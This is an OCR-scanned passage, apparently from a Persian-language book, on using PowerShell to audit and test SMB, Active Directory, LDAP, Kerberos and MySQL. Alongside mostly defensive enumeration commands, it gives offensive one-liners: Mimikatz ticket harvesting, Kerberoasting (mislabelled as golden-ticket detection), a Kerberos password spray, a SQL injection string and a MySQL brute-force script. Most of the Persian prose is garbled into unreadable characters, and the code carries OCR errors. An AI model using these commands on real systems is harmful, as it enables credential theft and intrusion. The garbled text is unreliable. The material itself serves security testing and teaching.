e b Sl b y90 ol jgym S50 (5,135 50, 9 SMB SIgNING LT a5 0iS s, o oo Sl Lol )
Lol Gloadas alex 51 SMB oM sai 50 b5k ¢l oy o |, Get-SmbClientConfiguration

:o; oolau! LS)“;\f}A) 9

Get-SmbClientConfiguration

ol Ll as 0sS cwyp B oS e, |, EncryptData 5 RequireSecuritySignature sla S
ol 38l sl 1y (6,188 50, 5 Lael Wb peul (6050 ,S0 LSMB (5lo jg s . s b aites Jled ol sl S50
The enumeration of active SMB sessions

3,90 5o 1y oo icn a5 oS eoliiwl Jd SMB wlul> Enumeration i, ls o PowerShell
Ol L 4 Get-SmbSession .aes oo 41,1 &jls o jiws S iie pbe 4 yol> >y a5 (g0l 8l
0S obsb jee o]y b (doe e 6 50 |, SMB Glid> 45 by o Sledol s o
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Get-SmbSession

RYSLY ‘:L»Lw ) S e b jlore e Y L] &153@ sl Hlaasia dud> srosls Jdo g 4y b

Checking for guest access

ol 6l oy oo POWerShell 5 .aisl s sl s G Wil oo s SMB Share 4 Guest . s
Sy e |, Get-SmbShare 5,5 oolatw! 15 b ol jlee 590 oy piews o 0 GUESE s s LT S

2,5 (o9l GUBST (oo s (o) sl

Get-SmbShare | Where-Object { S_.IsGuestOnly -eq Strue }
S e &z s |, 5l
Evaluating share permissions

(ACL) (o ywd J5isS slocan 148 5 (5,105 il sl jgmme B ojlu oo ,0B 1) ) 53545 cs POwerShell
Share G ACL L= g 4325 9 obsb sl ol oo 1, Get-Acl s ob;, SMB slaShare sl |,
:0)5 oolaiu uoL‘>

Get-SmbShare | Where-Object { S_.IsGuestOnly -eq Strue }
Sl jeme WS o SaS Lads 4 g dao o ylis |y s Share 4 by e Security Descriptor jgiws oyl
S ololis 1) Canyolb g0 ,So b jlre a5l oo (6,105 ST ]
SMB session monitoring

Sl ygis 51090 51zl b 5,8 ssliiul SMB Gluds 5y jaies &)l olass gl ols5 oo POWerShell
s anseis ley Jsb o 1, SsSin b ojliiie né Jlasl 4555 0wl oo (Jled Slud olsb sl
120 550 L, 0 aud> 5 ol g5l S 045 6l 1, Scheduled Task G 5 ool
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Sinterval = 60
while (Strue) {
Get-SmbSession
Start-Sleep -Seconds Sinterval

Background <G lgie 4 wilgs o g 05 o 2bsb |, SMB aid> Sledlbol pglone ol 4 o Sl ]

D9 1yl S'gSin b ey o yiws 465,00 ol sl Task
Automated ransomware detection

saiad Hlis Cowl S a5 ol bl 4o mow b Seine Ol s slubs sl o)y o PowerShell
5 BB oslail aisle « B sl F5g o oyl gl 1) glaces Sl olgh oo 20,5 eolawl ol 58l 2L e Jlad

g0 Slul 1) ole o o aiie e Ol osd £489 D jg0 ,0 5 Sy 00 9 )l

SfilePath = "C:\Test\ImportantFile.txt"
SinitialSize = (Get-Item SfilePath).Length
while (Strue) {
ScurrentSize = (Get-ltem SfilePath).Length
if (ScurrentSize -ne SinitialSize) {
Write-Host "File size changed. Possible ransomware activity
detected."

}
Start-Sleep -Seconds 300

Sl 1 gl 16 030l o, liiin d ponis S0 50§ S o oyt |y Lol S o3l s Sl oy
sl 3zl colled sasms (i wilgi e 45 05 oo

sl eols plp o sl slaces sl lp 1) SLESS 5 aylpl 5l 698 (slacgeze POwerShell
s pdscam! Jlad job 4 0ilg co sl Hlaasiino daca bl ol 5l solaiw! L .ons o 45l SMB
gls g as ©,lai SMB slacoled s Sbj)l 1) (6,08 ST il slojgme 0ogad olwlis |,
St L2 8 5 il b Bl 5 e jomn L i}l ol plal izl |, S
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glejle 4 wlgi oo SsSive slaceled sl Jub o)llai s SMB lagan Sy plaie ieae Cosl ot
ams 2alS 1) SMB (sl Jleio] Slassgs 5 0905 cporl Sige ol 40 1, 355 4K lass b a8 a8

PowerShell, AD, and LDAP
LDAP 4 AD i, jo cusal slaces sl gl 1, PowerShell sl eolacul 548 ¢ idu cpl jo 0ls I8

3, weoled cuy g 658 Rl Sl Cug g o pisca] plulis

9 1 igals doog )5 e 1y5 g prae (6l jgaing ladaizme jo a5 sl Clusg Solo Gugp (55555 1> AD

)‘ O 9 6)9*-%"‘5 w)JJ.A 9 ‘5».:).»...»0 st.’ aS Cenl ‘515;5); LDAP 05.».4‘5,0 oolao! 4\;..\..» é’L.A )JL.)
Gl g ais Slojle slaasis 5l g b Sb> l5=! LDAP g AD g0 12 .05 5 o oolaiwl AD alox
.CM‘W)MQA‘M;S{.EL&}LQ‘){LQQ]

S, 1, LDAP 5 AD Lol pualie 4oz j5b a4 auns o5l o il s sla S a0 ilo 5l LS

A..SLSA S pde g o).oo ‘) LQ:fj.u.@lSﬁ Lasos)f ng).g)lS Lgl.a:ul.“.o- d.l.o.’> )| 545...,.4 GLHO L .L>9.a).o Sl

dlei oo Wl ja0is slalame ;o mlie Cu pae g jeme «Zugp 5>l o1, Lol i AD

D o o3laiwl AD aloz 5l g (6,555 plo Co e g (o yiwd gl &S Cenl IS5, LDAP :LDAP
3 Ygore LDAP a5 so a5l 6,555 1o Sledbl Sy e 5 Slosyiop 92 5 o 6l o libiwl of, S ol

.)9.»46.4 oolau! 6)5:5)'.’.‘0 Lgl.(boo‘d 4 ‘5.».»).';.»0 6‘).3 d.i».w i LngduoLa).a 9 Lﬁbwj)m
The enumeration of active directory objects

ol slp gaes ;a8 15l Get-ADObject awp 043 AD Lo &0 b ou et p 1) sl (pl o5 2o o
25 Shges 5l olgige P OU G po )8 slosl plad (39,8 oo sl (e plsis ar = ol ko
1000 oslawl
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Get-ADObject -Filter {ObjectClass -eq 'user'} -SearchBase
'OU=Employees,DC=snowcapcyber,DC=com'

s b Username sile Sl g oS o obsb ool aie OU o 1) 515 slsl slas jgiws oyl
5 Sl los AD Lo Sy 0 o5 o Jgl Enumeration .aas . 4l 1, ls Distinguished Name

A5 SaS bl anils 0929 b aiil o iws o b oS olesl Slulil 4 &lgs o

Assessing user account security

Iy 2y 9lee (Jlie lgie 4y .05 ooliswl Ladil lepdats 5 jaue 3o, (Souzen b @l OMSCiw gy b
13,5 ooliiwl 89d cos i 35,0 o] joue 50, a5 SIS 0,5 Cend lp g5 o

Get-ADUser -Filter {PasswordNeverExpires -eq Strue}

il ylas (G ] Ko 45T WS o ol 09l s sakie 35 o lisleolus oS, Sl S Gl ys o
L e slo S5y ple g Lockout cledas (jge 1o, lacalon obj,l Jols cdel el ooyl .ol

ol Sl b
Identifying inactive user accounts

Sliges el jo 0SS SS Jbd e slaclus Bis U 0,5 Jleé e g ololid a5 09,9 7,0 CJ-.’.PT@-“)):’
asloanis W“"“"”"” Q)‘j Sl 39 Qe aS ol ‘51‘)4)5 U.JL’ )‘
$90DaysAgo = (Get-Date).AddDays(-90)

Get-ADUser -Filter {LastLogonDate -t S$90DaysAgo} -Properties
LastLogonDate

dusd;‘oww«))b OM&MQL@) Ode 6‘)”5‘5"“‘5(5“ GJL-ULA-U ‘) GJ‘f)lS WJS.MJ‘ u.a‘
s plol | Lol (B3 by 50,8 Jlnb e aile omslin leladl oo g lSel Lo
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Auditing group memberships

0555 st Sl oJlin ol s 05 Jol pliabel il B ol ey 16 S s ] 5,5

Get-ADGroupMember -Identity 'ITAdmins'

o181 Lais a5 0 asl WS o oS Lot 4y 5 wiS o 2L 1, ITADMINS 05,5 slacl dan jgiws oy

WAL s o e Ol 4 ¢lore
Identifying privileged accounts

)P 9 @LNL.M: £y ..).4‘946‘0 PowerShell .J..S)L) d.\_eo IR )Lu ‘L)‘)"')‘A asle ‘)LM‘ 6‘)‘0 LSLQULH}
ool iy jews e g pae Glaia b o)lu)l5 aes 10,5 cancd (6l p aiS SS slasl s ool
S

Get-ADGroupMember -Identity 'Administrators’
5 b ad oo co Sl e 4y 45 ams oo a3l 1, Administrators o5 ol )15 ples 51 ciwd Hgiws oyl
035 gy s o] sl jgme
Auditing password policy

Slehas owyn lp Olyee POwerShell jlacie geo Jls coiel ly j5ee 50y Slocaslow
w3 asals Password Policy bjb sl (Jle oloxe 40,5 soliiwl 595 aials o Password Policy

0sS oolaiwl p jews M‘}:LSA

Get-ADDefaultDomainPasswordPolicy

o3 o 451, POlICY lopais yles 5 Jsb y3ee 3oy (Sotma el 3,90 50 Slisr s oy

A
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Assessing LDAP permissions

L oholS oS aSyl mess gl 0,8 syl 55 PowerShell 5l sslinul b lgs oo |, LDAP clajsmme

Syl 8L gl (e lore 4 0sS 92 5 e AD 5l adles o il Lol> LDAP slajeze dog S
1S oolaiwl 3 jeiws 31 ls CN=Users . Lls & ulgs o ws oS

Get-ACL 'AD:\CN=Users,DC=snowcapcyber,DC=com' | Select-Object
-ExpandProperty Access | Where-Object { S_.ActiveDirectoryRights -like
'‘ReadProperty' }

A2 ol 53 o jeome plu gwyn sln ]y 9,500, (nl wuily e
Testing LDAP authentication

L LDAP cewppd a0 Jlasl gl 50 L LDAP cosa 1>l islejl sl ol oo PowerShell
S S suis bl by cind sloclus olulid 4y Wilgs oo ol 5,5 solinul calises leCredential

mled axgi ) JUo &

SldapServer = 'ldap://Idap.snowcapcyber.com'
Susername = 'ajcblyth'
Spassword = 'MYpassword123'
try {

Sldap = [ADSI](SIdapServer)

Sldap.Username = Susername

Sldap.Password = Spassword

Sldap.AuthenticationType = [System.DirectoryServices.
AuthenticationTypes]::Secure

Sldap.Bind()

Write-Host "LDAP auth success for Susername"
} catch {
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Werite-Host "LDAP auth failed for Susername"

o155 9 098 Juaie LDAP (5,655 pls as oo LaseiweCredential sl solaw! b oS co (3 Con Sl (]

Identifying unsecured LDAP ports

LDAP Jlasl jiolosl sly 0,5 solaiwl c s b as)lo 1,8 000 om0 0 el slacs 0 ;0 LDAP glo s g oo
10,8 solawl Test-NetConnection ;1 olgs e

Test-NetConnection -ComputerName |Idap.snowcapcyber.com -Port 389

ST bogdon Lzl (PAY) (ol (28 iy 593 595 LDAP gy LT 45 05 (0 (oo 2 55500 2
S el SSLL TLS L 1, LDAP sl i

Monitoring LDAP traffic

Sg oolitu] SeSin b golepne slacdld sl LDAP il ol ol wils o PowerShell
L slaslag, sl bolasg, (5,155 Jd=s 5 428 0 b 4 aislys o Get-WinEvent sile ola,l5l
1S oS LDAP L

Get-WinEvent -LogName 'Security' | Where-Object { S_.Id -eq 2887 }

Al sy i (gl BN oaia
Testing LDAP with LDAPS

gy (58S I A cwyiwd Gl el By 05 o sl LDAPS L 45" SSL 5 b 5| LDAP
oolicinl Canl ool s,y i yd 4 LDAPS LT aSiul asl sl o)lsx oo PowerShell 1.l

el 00l 03,591 Helaie tpa Jle SO bxil jo 8,8

@ Securityworld.ir Luo 63l 9lid jol 6383 S iy




ES_PJ 3965 G (5l g Sl ygb b oulubl @

SECURITYWORLD

Test-NetConnection -ComputerName |ldap.snowcapcyber.com -Port 636

&lp b LDAPS ;5 | 05 o 2l #Y7 Sy (69; LDAPS gy LT 45 0iS o s 0 poimss 0
D ool i Cusal gl y LDAP S8l (6,185 5,

Identifying anomalies with PowerShell scripts

AD 5 sl el slo s 5 s loxial ololids 6l lsce |, o liw POWErShell glace Sl
Jgane e 3955 slasSUl plate job a4 a5 0uS slou ! iy Sl G ailys o Jlio lgie 45 .5,5 slow] LDAP 4

J.Stso JL.»)‘)‘M s‘jl.wl.o.w O30 4O g9¢9959 Lg‘).’ dSyoL’ u*’)l-‘ P Sobe “'\"5(5" )y ‘)

Sthreshold =3
SlogPath = "C:\Logs\FailedLogins.log"
SfailedLogins = Get-WinEvent -LogName 'Security' | Where-Object {
S_.Id-eq 4625}
if (SfailedLogins.Count -ge Sthreshold) {

SfailedLogins | Out-File -Append SlogPath

Send-MailMessage -To 'admin@snowcapcyber.com' -From 'alerts@
snowcapcyber.com' -Subject 'Security Alert: Multiple Failed Logins
Detected' -Body "Multiple failed login attempts detected. Check
SlogPath for details."

}

Oygo 50 g &S oo Oyl 39500 05,9 sl (B L pau> sl |, Security Event Log e, Sl

00lil b .l LDAP g AD (slo s gy pl 50 cial (slacans plosil gl ases ;)| 15l o PowerShell
Iy s piscamw! Jd job a4 auly o el laascs PowerShell slacs Sl 5 oljgiws opl
So5S pls Cdled 5 0iS (ghen |y 095 Slatugas WS b)) ) Cles ol s oLl
Ll BB &l yhe g oywlgd b sallas g comlin j92me b Sliolosl oyl pll (> cpl oS o jlas |y s g e

WS S5 Laglejler 4 Wl o LDAP 5 AD (slasans Sy plate (g3l ol g (S ool (55552

QS e Jlosal Slasags plp 40 900,58 Cugdi |y 095 g (5,555 plo Coinl b
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PowerShell and Kerberos

a5 Kerberos ol o cuswl lacus 51 glos s il bl sl jge ,9b 4 wilys o POwerShell
'y 1, PowerShell ;i solaiwl S5eK> « idu (pl j0 050 oolatwl el 0 )15 1 Caga s>t JSSg, SO

5 oS Caga 5>l gl secret-key 5,5, 5l 45 sl aSl Coga 1>l SS9, S Kerberos
Jds g 09500 L8 @ josing p (G sladaime Sl ke 5o (nl S oo osliinl aSLD )0 e g
&lg oo Kerberos s 550 5,5l8 1o aiile (Jl cpl b sl ooy a3l g3 (698 cial (slopmmnsSa

3,5 solazwl Jld j5b 4 las pdycamw! (pl cais sl PowerShell

The enumeration of Kerberos tickets

a2 o 03>l ) F3585 s 4 a5 WS e &l,) 1, Get-KerberosTicket sl 1,400 PowerShell
aom slolo g Jd Slad> 5590 50 1) gaued;,l Sledbl 5 oS slolis |, Kerberos laTicket
oS s o Jlazs|

Get-KerberosTicket | Format-Table -Property UserName, ServiceName,
StartTime, EndTime

St g 9 3yl 4l 8,90 5o (Sledbl g aiS oo cuw g8 1, Jled Kerberos slaTicket g oyl

Service Principal Name (SPN) enumeration

Cogpr 5l gl aS oS oolatul g b bade GWSPN ais ol s . PowerShell

Sloe e g piwd gl |y G yob 0 S sSPN cl San yloslge s g ,Lww Kerberos
5 LService Account 55 s pd sl Get-ADServiceAccount ;1 auls oo lads .asas |18 Gua
1058 oolii! Loyl SPN
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Get-ADServiceAccount -Filter *

Credential harvesting with Mimikatz

leCredential z| 3eul sl wilgs o a5 cusl POst Exploitation zsw jo aed ;08 15l S Mimikatz
s g 6l ol slas Shae a5 0lgs o Mimikatz Jgslo Slgz1,5 L .ogi plesl PowerShell s abisl>

il ails s Kerberos sleTicket ale> 5l Credential

Invoke-Mimikatz -Command "ajcblyth::tickets"

S8 Geles oyme jo | eole e jeue sloge, 9 oals 0,55 Kerberos slaTicket wilgs oo jgiws oyl

V-1

Detecting golden ticket attacks

a5 oduz My Lo G S eolawl Golden Ticket o> olulis sl o535 o PowerShell
e lalpl S o Ja> |, Kerberos (TGT) Lol glael Ll O ozle ol Lo
Sl olels g LTGT S Lo owyp ¢lp |, 2lodysle PowerShellMafia/PowerSploit

oo e ) oz

Import-Module PowerSploit
Invoke-Kerberoast

lolid 4 5 S o gy igd S5 (M Sjg0 4 willgi e o5 1) pdyel GLTGT jius (ol
S oSS Jleio] Edle>
Kerberos ticket renewal analysis

PowerShell slacos Sl wgd oo ddes 5,5 and> Jsb o Ysens Kerberos sleTicket

5 sl e s Olgis d aisS a1 s lial g oogas oyl |, aTicket syaas ailss oo

1S ool aTicket wows g Hg0u0 o loy Gow awlre I » New-TimeSpan
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Sticket = Get-KerberosTicket
SrenewalDuration = (New-TimeSpan -Start Sticket.StartTime -End
Sticket.EndTime).TotalMinutes
if (SrenewalDuration -gt 1440) {
Write-Host "Abnormally renewal detected."

Analyzing event logs

Kerberos L Los o S3Siw slaslag, olelis 1, 1, Windows Event Log uilss . PowerShell

Security Event Log Jlss 5 4525 9 0,5 ild sl ol oo |, Get-WinEvent ..us” (Parse) 4 ;=
13,5 solawl ols- Kerberos slaslag, !y

Get-WinEvent -LogName Security | Where-Object {S_.ld -eq 4769 }
L ole e lacadled plo b Coge 51>t (ol 39900 Glo D b e po ol sl (laasie 4y 0l
S aleles

Password spray attacks

oylnl oS solai.l Kerberos ale Password Spray o> slxl sl o35 o PowerShell
ooliiwl cims jLiel olulis g p)l5 jgue jo, @508 ialej] sl o)lgs oo |, INVOkeSprayKerberos ol

0,5

Invoke-SprayKerberos -UserList users.txt -Password Summer2023 -Domain
snowcapcyber.com

-)JB.MJ s ».\Jff)‘).S oolazw! £gw 0,90 A.u\ysadfw)}..c ébﬁ)bu‘f)wbwf@&ojd‘

Gl ools ply yo el slaces plxil sl (5,900 5 0,15 den 5l SO l5ie & POwerShell
Jls b a4 0sly o gl Glaasie o] slaccllE 5l ssliiwl L 0iS o Jee Kerberos
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Gl 1y g aSl Colu ) cual g oS olulid 1) ol Slagags w0aged lulid 1) bags pdya]
5 owiled b Billas g cawlio jaome b Wb dlar vl Cud a5 Sl (e 4SS5 (pl Ay az g (> ] b oo
s Ailg3 e g el o las g Kerberos slasan S plate (6 uoe 098 plol 1> BB &, jie

Ab Al el g yiwd 5l 6,8 sl g e Cug ] Gl cblis o Sl

Summary

Gk 5l .osls,, LDAP 3 AD SMB s 3585 cos o PowerShell >goi> slao )5 4 Jad oyl
Sy yare Solpl olee a4 PowerShell 48> a5 wols i b dee slaJle )l (slacgome
@Lo)l....: Sloasl @L} 6L®4.QJ§.A u“ 5o thg).aww—\ )| LS)L)):"’)'&:’ 9 LS)LM: JJ[BBJJ .Enumeration

IS g0 Jos

ol ol 50 6 pdaawl Sbj,l 5l ise olgie 4 PowerShell slsolaiul ogou o590 40 (g Jabd ;o
MySQL 4 PostgreSQL Microsoft SQL « slotg a>g gam idu ,0 gl pudles SQL sols
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Databases: MySQL, PostgreSQL and MSSQL - o fad

Soie b 10 3985 slacns plil gl aies 08 15 S lgxe & PowerShell oty 5l Jad ol o

MySQL aile a5 0015 oL slapius (53, 2 lo 35 0 oS s0 (5,0 005 SQL sols slaslL
) os slalio 5l slallos sl Lsle o 555, G 0 .ol Microsoft SQL Server 5 PostgreSQL

Slaasls Sppd o Sl 5 g pdumlie Jblias a5 gladal, eols oL SO o o 5T MYSQL L Lo o
2 Jlel p8a 1, PowerShell sossxl slaculld b Joe slojioles g 28ly slis slags b &b
QMSGA )Li..:] MySQL ool LgLfboLiaL

drwg 5 G pdy Blasl Lo 4 a5 (598 5L e 00ls oL Cu e piwenw [POSEEreSQL & Lo ‘L.st.o
solaiwl PowerShell @08 51 Koo a5 Jb> 0 wiS o KT |, PostgreSQL ool sl Sauzmn

Slojle gl sl S Microsoft SQL Server g,ol8 a1y Lo o fad cpl 50 Lo (oglS woles jo

5,5 eolaxwl SQL Server slelnstance ool ioli8l s 385 cw,yp lp

Sg85 Cewd SCLLB 0y90 ;0 Hes idw WS oo Blen Kby yaw pl o 1) L a5 jhiles
g.,ug.o.? 9 LG:Lg).aJJW—‘ ALY c@l.i)) Lg‘).’ u,«.o‘b 9 Ldsu)'.e(c L~ ‘) Lo 9 0)51 M‘P Cowd 4 PowerShell
e il WMol 40 Microsoft SQL Server 4 PostgreSQL MySQL sols (slaoll ol
PowerShell L ools ol 345 s (sLis 4 89,9 slp L 031550 laie a4 Jad cpl slajlo,y aiS o

Dg o0 99, 00l oL Couisl b Jos pads a5 ol el
el sdal Juad (] 10 sy 990 Lol Dlegge 3 40

e Accessing SQL databases using PowerShell
e PowerShell and MySQL
J PowerShell and PostgreSQL
J PowerShell and Microsoft SQL (MSSQL)
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Accessing SQL databases using PowerShell

SQL jlInstance <, L bls,l 5,18, Jolss PowerShell ;i soliisl L SQL ools sloolsl as (g yiws
.AJSGQ J.n.b.: oals o&b

PowerShell and MySQL

MySQL ools (slaolSoly o5 (o ywd ) 5 oo ale e o S )liSy Lo Sl pdil e (o250 Coial Cond
(dlag,Sole Jawgs ail dnwgs (yguwlogl Gyl g 0,15 dad cwng aalip b5 S PowerShell .ol
o3l (laolSyly o bas pdyml @85 5 (lolid 2l sl (el Slaasio i gaiad 08 15l Wil e
aloz 5l PowerShell 5l solacul b ool cns cilizes sladis caal> slosaly ol Ho .0l MySQL
I, MySQL sjlocyes! sl la Best Practice g owyiws J,08 ol ot cuns os pdyoaw! 25
255 ey (o)

Connecting to MySQL with PowerShell

5 L MySQL .NET Ly, 5l ol oo oS 185 Jlas! G wub sl MySQL sols oL L Jeles (sl
PowerShell ;I eolacul L MySQL osols o550 4 Jlasl 51 Jle bxol o 0w oolitw! cawlio ailsulis

1wl 00U oo)si

Add-Type -Path "C:\Path\To\MySql.Data.dll"

SconnectionString =
"Server=localhost;Database=mydb;Uid=myuser;Pwd=mypassword;"
Sconnection = New-Object MySql.Data.MySqlClient.MySglConnection
Sconnection.ConnectionString = SconnectionString
Sconnection.Open()

) gM‘ Sy L§|)" PowerShell )‘ U‘?"LSQ d;9.<.‘> aS p—a.aS = ».\.uLu sm‘ob; )‘).9).1 .bLu)‘ LY L)?"‘ﬂ
aS' 1, SQAL &l ygiws muslys oo cpuas Juato MYSQL ools oL 4 a5 oS .55 oolawl MySQL il
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bl sl SAL lasm )y 5 s yisT 2! Jols Ysons MYSQL asls olily (sl el (23]
Olre 4 a5 3,15 9929 SAL ol sloo; 2 5 s 355 51 (0 Ll 5o il wgline (el (el Sl
109 oo oolaiwl MYSQL sl el obs)) 51 (cis

User and privilege assessment

MySQL 5 o,5 candd

SELECT user, host FROM mysql.user;

)8 kel (o)

SHOW GRANTS FOR 'username'@'hostname’;

> 5| G Sl b )5 llas

SELECT user, host FROM mysql.user WHERE SUPER_PRIV="Y";

Password policy assessment

3 oy (e b Sleras samline gly 52 5 o

SHOW VARIABLES LIKE 'validate_password%';

Auditing and logging
e b Sl Jlad MYSQL oo 5555 255 LT 4! (ouo

SHOW VARIABLES LIKE 'general_log';
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e b sl Jled MYSQL WS g2z (5,155 LT 4l (o)

SHOW VARIABLES LIKE 'slow_query_log';
Network and firewall configuration

SHOW VARIABLES LIKE 'bind_address';

SELECT host, user FROM mysqgl.user WHERE host NOT LIKE
'localhost’;

Vulnerability scanning
MySQL ases o)

SELECT VERSION();

200 acs-ludy LgLibLg).’d.:w.oT S:L»L'.m

SELECT * FROM information_schema.plugins WHERE plugin_name LIKE
'‘%vulnerable%';

Access control verification

)L?bo A= )'\ O Lglxb)'}?m L ools LgL(boLigL; GJLMLMM

SELECT DISTINCT table_schema FROM information_schema.tables
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WHERE table_privileges = 'Select,Insert,Update,Delete’;

‘Wildcard Hostname oL L )|, ,5 o)

SELECT user, host FROM mysql.user WHERE host='%";
Data protection and encryption
SSL/TLS Q.)}.g JL!B R

SHOW VARIABLES LIKE ‘have_ssl';

10 LS)‘K}“) SYlas! Qo; W-AJ

SHOW STATUS LIKE 'Ssl_cipher';

Backup security
Ol 6 Oleidy slejeme (o)

SELECT user, host FROM mysql.user WHERE File_priv ='Y";

SQL injection testing

(sale;] Slaal (61, SQL G55 adsl (6 Sy (5l 4

SELECT * FROM Products WHERE ProductID ='1 OR 1=1; --%;

Brute-force detection

1399 Sl p & )la

@ Securityworld.ir Luo 63l 9lid jol 6383 S iy




ES_PJ 3965 G (5l g Sl ygb b oulubl @

SECURITYWORLD

SELECT user, host FROM mysql.user WHERE failed_login_attempts >
0;

MySQL sl (el (2l ) (e wsilgs oo a5 s SAL @) Slaow) 5 s 595 51 (& 2 ez
5l g e b)) aels cylosle sl slo ciwlaz ulul 5 el (Ko oolain] 5,50 ol> (slas 565 ol
sohie 4y bl Gglae wams oo plil 1) o)l &S sl laasis lawgi oul a8 5 (IS 4 slacs Sl g

ol (65950 aslin j92me S o o Best Practice ;| sg,m « olo b))l iz plxl
Vulnerability assessment

ol s S0 0sill (il laspdican] Gbyl s @lelid anlE Gpdicen] L)
VL)

Version scanning

1S g dseas Sl b &l ) ools oLial;

Scommand = Sconnection.CreateCommand()
Scommand.CommandText = "SELECT VERSION();"
Sversion = Scommand.ExecuteScalar()
Write-Host "MySQL Version: Sversion"

Penetration testing

2p 3 peew Cwglie o)l jskiie 4 bags iyl 1 6l0 oy slp AV 2O Jol 34i5 s
solazwl MYSQL el condy obs,l 5 Oe (55l 4l 6l o150 POwerShell ;1 .coul o>
o,

SQL injection testing

w Loy A.AL:).: 59 ‘;Lo.,.}‘ Gbéfwwi )‘ oolau! £ g (5‘)" u)?m GLD:P 9 UvR OL?U‘ l.: ‘)
VLIP3 W
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Brute-force attacks

a8 iwlesl sl 1, MYSQL slaslus ade brute-force o> asilss o PowerShell glac, Sl
Gy 5e8 30, 5 6ylS o Sy ams oo Sl L 4y PowerShell 5 Jlie oS S3g5 )l slaosly, a5
oS ool ools oL 4 Jlas

Sserver = "localhost"
Sdatabase = "your_database"
Susername = "your_username"
Spassword = "your_password"
SconnectionString =
"server=Sserver;database=Sdatabase;uid=Susername;pwd=Spassword;"
try {
Sconnection = New-Object System.Data.SqlClient.SglConnection
Sconnection.ConnectionString = SconnectionString
Sconnection.Open()
if (Sconnection.State -eq [System.Data.ConnectionState]::Open) {
Write-Host "MySQL Connection Successful"}
else {
Write-Host "Failed to connect to MySQL."}
Sconnection.Close() }
catch {
Write-Host "An error occurred: S_"}

S o0 plosil A g pw S ade brute-force alas G il o e 505 5 65 b i b
lgs Bl G 5L 0,8 pasiie Cund SO y0 (g oo 1) s sloge )5 0,5 slapls

Access control verification

@ Klg o PowerShell col Sla ool oL cunl slp el gwyiws slaJ, S 5l bl
S SS MYSQL 550 50 )8 slagiss 5 Oljltel (e Lel

Listing MySQL users

5l sed 2bsL sl mysgl.user MySQL Jgo> jo s> sl PowerShell 51 oulss
08 ooliusl by T hiliel 5 ol 8
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Scommand = Sconnection.CreateCommand()
Scommand.CommandText = "SELECT user, host FROM mysql.user;"

Susers = Scommand.ExecuteReader()

while (Susers.Read()) {
Write-Host "User: S(Susers["user"])@(Susers["host"])"

}

Susers.Close()

Checking user privileges
09 oolaiwl MYSQL ols )15 G a0 sols olais! &ljlol 0wl gl xlgs o PowerShell
Scommand.CommandText = "SHOW GRANTS FOR 'myuser'@'localhost';"
Sprivileges = Scommand.ExecuteReader()

while (Sprivileges.Read()) {
Write-Host "Privilege: S(Sprivileges[0])"}

ssliinl b5 (5,5 ab S5 b Lo po Shilitel 51 g2 5 o sl 00 iy a3 SAL a5l Lo e LB oS o
sl Sy |y )5 o Sldiz il e sl pU Cnl i b oS o0

Security policy testing

b, Wi oo PowerShell acs Jloel ) ol Slonkas g lacewlow b ams o o521 ol e 4 MySQL
A Splon Wogeds (g b aS 05 Jool> liebsl U ars plxil Sogs jsbas | o siwlas oyl
Password policy assessment

bs oladas oL, sle |, MySQL Wl o PowerShell el vpe [l jsue 50, slacaslow ob3)|

WS 9> g w8 e e, (e
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Scommand.CommandText = "SHOW VARIABLES LIKE 'validate_password%';"
SpasswordPolicy = Scommand.ExecuteReader()
while (SpasswordPolicy.Read()) {

Write-Host "Setting: S(SpasswordPolicy["Variable_name"]), Value:
S(SpasswordPolicy["Value"])"}

SSL/TLS configuration
& JEsl b o slaosls a5 098 Juol> ylcadol b ol SSL/TLS (gun S ol Jolis b giel s
:“')";5"‘3&5"’ cdaslos 69[5 o)"..)J‘

Scommand.CommandText = "SHOW VARIABLES LIKE 'have_ssl';"

SsslEnabled = Scommand.ExecuteScalar()
Write-Host "SSL/TLS Enabled: SsslEnabled"

solil Policy Statement (gL ol sl PowerShell jo o a4y SQL &l jgiws 51k ( L3 oS o
SSL 3l solatl g ygue 30, (i b3 5l oolatwl 4 by o s Policy Statement l  Jgoro jsb 0 020,5
|

Data protection and encryption

5 odd (s5lw ooly Encryption 4 Data Protection zhw Jbj,l sl ols o PowerShell |
3,5 solaiwl MySQL

Data encryption

JEsl J> ,0 g At Rest & g0 4 |, leosls MySQL LT aSl w0 sl PowerShell 1 olgs
..L..S oolazul ).‘.'> L’ A;SGA 6)‘;\?}")
Scommand.CommandText = "SHOW VARIABLES LIKE 'innodb_encrypt%' OR

‘encrypt%';"
SencryptionSettings = Scommand.ExecuteReader()
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while (SencryptionSettings.Read()) {
Write-Host "Setting: S(SencryptionSettings["Variable_name"]),
Value: S(SencryptionSettings["Value"])"}

Backup security

1,5 oolarwl oy

Scommand.CommandText = "SHOW VARIABLES LIKE 'secure_file_priv';"
SbackupSecurity = Scommand.ExecuteScalar()
Write-Host "Backup Security: SbackupSecurity"

23,5 eoliiul ools oL S b o jo cbila> mhw olulis sl SQL s PowerShell ik L3 oS o
S (50 35 o5 NS e, sl eslital (95 o Lo o> yebo 4

Logging and monitoring

Golg> 4 el 5 ololis slp MYSQL o)l 5 SY el slacubls oL, o Wiy o PowerShell
Reviewing error logs

@ by Jlao 5l slailis 65,8 sl MySQL slas sla k)55 v, sl PowerShell ;1 olgs
a.\..S solatwl Cco |

Scommand.CommandText = "SHOW VARIABLES LIKE 'log_error";"
SerrorLogPath = Scommand.ExecuteScalar()

Slogs = Get-Content SerrorLogPath

Write-Host "Contents of MySQL Error Log:"

Write-Host Slogs

sl MYSQL ools slooll ol jo cusal Glacws plol gl aeis; )l 15l S5 PowerShell

G piical 4 (Saw; 5 ololis (ob3l 6l co Sl LB 5 a0l 8 Sy, S
5 oalital b amo e 41 Lt MySQL sols ol (sl plSoxinl I oliebsl 5 siaie
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Sgupe 1y 995 MYSQL ools slaslly ciel Cundg aiilys o ciel lawsee PowerShell slac L
S cdadlre Jlai>l lagags ol jo aued)l sleosls 5l g aisy

PowerShell and PostgreSQL
oals oSGl o9 w0 g o9 ailepe ( S LSS Las 1 HAL6 Sl Lidu codel Cs
bagh Al drwg (ygumlogi] Gg )l g 0,15 Ao s g 4ol by S PowerShell .ol PostgreSQL
& 9 elolis (bl Glp el plaasie glp aes,ud ) Wiy e a5 cul cilug b
Sl G il sladcs (rals slesal,y (ol jo .ol PostgreSQL esls slasll o las iy !
Loy cn it 9 (oo JiS 9l 395 e s iy b5 alex 5| PowerShell 5l oslial |

5,5 aublss )|y POStgreSQL (sjlu pl sy
Introduction to PowerShell and PostgreSQL
Co e 5 Oygumlogi] ot Copde (§lp a5 Canl caugh aalip b5 5 lo,d s atwg S PowerShell

